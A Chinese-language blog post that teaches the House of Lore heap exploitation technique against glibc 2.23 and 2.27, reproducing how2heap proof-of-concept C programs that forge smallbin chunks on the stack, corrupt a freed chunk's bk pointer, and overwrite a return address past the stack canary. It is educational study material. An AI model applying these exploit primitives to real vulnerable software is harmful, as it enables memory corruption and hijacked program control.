House of Lore

黎 浩然/ 29 5 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.23

House of Lore主要是针对smallbin的堆溢出漏洞。通过伪造small bin chunk在stack中绕过small bin的完整性检查,从而分配到stack中的空间。

重点需要关注一下smallbin的结构。

Small bin中的bin是一个双向环形链表,分配的原则是FIFO。

需要的检查是victim->bk->fd == victim

unlink会进行的操作是:victim->bk->fd = bin, bin->bk = vimtim->bk

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
    {
      bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim)){

                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }

       set_inuse_bit_at_offset (victim, nb);
       bin->bk = bck;
       bck->fd = bin;

       [ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  fprintf(stderr, "\\nWelcome to the House of Lore\\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n");
  fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\\n\\n");

  fprintf(stderr, "Allocating the victim chunk\\n");
  intptr_t *victim = malloc(0x100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\\n", victim);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake chunk on the stack\\n");
  fprintf(stderr, "set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\\n");

  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  
  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\\n", p5);

  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\\n", victim);
  free((void*)victim);

  fprintf(stderr, "\\n~~In the unsorted bin the victim's fwd and bk pointers are nil~~\\n");
  fprintf(stderr, "victim->fwd: %p\\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\\n\\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\\n", victim);

  void *p2 = malloc(1200);

  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\\n");
  fprintf(stderr, "victim->fwd: %p\\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\\n\\n", (void *)victim[1]);

before VULNERABILITY

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
  //------------------------------------

after VULNERABILITY

  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n");

  void *p3 = malloc(0x100);

  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n");
  char *p4 = malloc(0x100);
  fprintf(stderr, "p4 = malloc(0x100)\\n");

  fprintf(stderr, "\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\\np4 is %p and should be on the stack!\\n", p4); // this chunk will be allocated on stack

  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

  // sanity check
  assert((long)__builtin_return_address(0) == (long)jackpot);
}

glibc-2.27

House of Lore在2.27同2.23中有兩點很大的不同。一個是tcache的引入導致在從smallbin拿出chunk的時候tcachebin要求被該smallbin剩餘的chunk填滿到7。因此需要從在smallbin拿chunk的時候提前將tcachebin填滿,或者留有足夠多的fake chunk。

另外一個就更加複雜:它需要構造一個fake free list。簡單的說,就是在2.23的基礎上,stack_buffer_2的bk指針後面還需要跟著多個fake chunks。為什麼要這樣做呢?因為我們後面如果要分配到smallbin就必須先將tcache全部分配出來(這樣才能輪到smallbin)。這意味著smallbin的剩餘堆塊會被盡可能地加入到tcachebin中。由於我們的smallbin不是正確的結構,所以我們需要保障在bk鏈(smallbin是FIFO)上有足夠多的chunk。

直接看樣板解析:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  void* fake_freelist[7][4];

  fprintf(stderr, "\\nWelcome to the House of Lore\\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n");
  fprintf(stderr, "This is tested against Ubuntu 18.04.5 - 64bit - glibc-2.27\\n\\n");

  fprintf(stderr, "Allocating the victim chunk\\n");
  intptr_t *victim = malloc(0x100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\\n", victim);

  fprintf(stderr, "Allocating dummy chunks for using up tcache later\\n");
  void *dummies[7];
  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake free-list on the stack\\n");
  for(int i=0; i<6; i++) {
    fake_freelist[i][3] = fake_freelist[i+1];
  }
  fake_freelist[6][3] = NULL;

這裏構造的fake free list最終會在smallbin中的list偽造的時候被使用,我們可以從後面看到用途。則要求我們必須了解2.27的分配機制。

  fprintf(stderr, "fake free-list at %p\\n", fake_freelist);

  fprintf(stderr, "Create a fake chunk on the stack\\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
          "introduced by smallbin-to-tcache mechanism\\n");
  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];

在這裡fake free list被用在stack_buffer_2的背後bk指針,確保smallbin這條鏈足夠長。

基於這樣一個事實:我們要從smallbin中拿到chunk,就必須tcachebin為空,而我們又要將smallbin剩下的chunk加入tcachebin直到7個。

  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\\n", p5);

  fprintf(stderr, "Freeing dummy chunk\\n");
  for(int i=0; i<7; i++) free(dummies[i]);
  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\\n", victim);
  free((void*)victim);

這之後,第一個victim進入了unsortedbin。這個時候的victim還是未被篡改過的chunk。接著的7個chunk填充了tcachebin。

  fprintf(stderr, "\\nIn the unsorted bin the victim's fwd and bk pointers are nil\\n");
  fprintf(stderr, "victim->fwd: %p\\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\\n\\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\\n", victim);

  void *p2 = malloc(1200);
  

  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the
SmallBin has been allocated to %p\\n", p2);

分配一個unsortedbin和tcachebin都不能處理的chunk unsortedbin中的chunk會被放入對應的smallbin/largebin中

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\\n");
  fprintf(stderr, "victim->fwd: %p\\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\\n\\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

這時smallbin中唯一的chunk的fd和bk指針還是正常的

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------
  fprintf(stderr, "Now take all dummies chunk in tcache out\\n");

這個時候的smallbin已經被破壞了

這個時候smallbin的拓撲結構如上圖所示。留意smallbin始終時FIFO這個原則是不變的,以及從smallbin中取出chunk時候需要進行的操作和檢查。

for(int i=0; i<7; i++) malloc(0x100);
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n");

  void *p3 = malloc(0x100);

從smallbin中分配一塊chunk之後,導致接下來bk的7個chunk被送入tcache

  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n");
  char *p4 = malloc(0x100);
  fprintf(stderr, "p4 = malloc(0x100)\\n");

  fprintf(stderr, "\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\\np4 is %p and should be on the stack!\\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

how2heap中的陳述有誤。這裡的malloc(0x100)的卻是分配到了stack中,卻不是stack_buffer_1那個地方。從上面也可以看到,0x7fffffffddd0-0x10這個位置的chunk會被分配。這個位置應該是fake free list的第五個fake chunk(共有六個)。

於是複寫jackpot地址的位置也應該有所變動。

memcpy((p4+104), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

  // sanity check
  assert((long)__builtin_return_address(0) == (long)jackpot);
}
Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*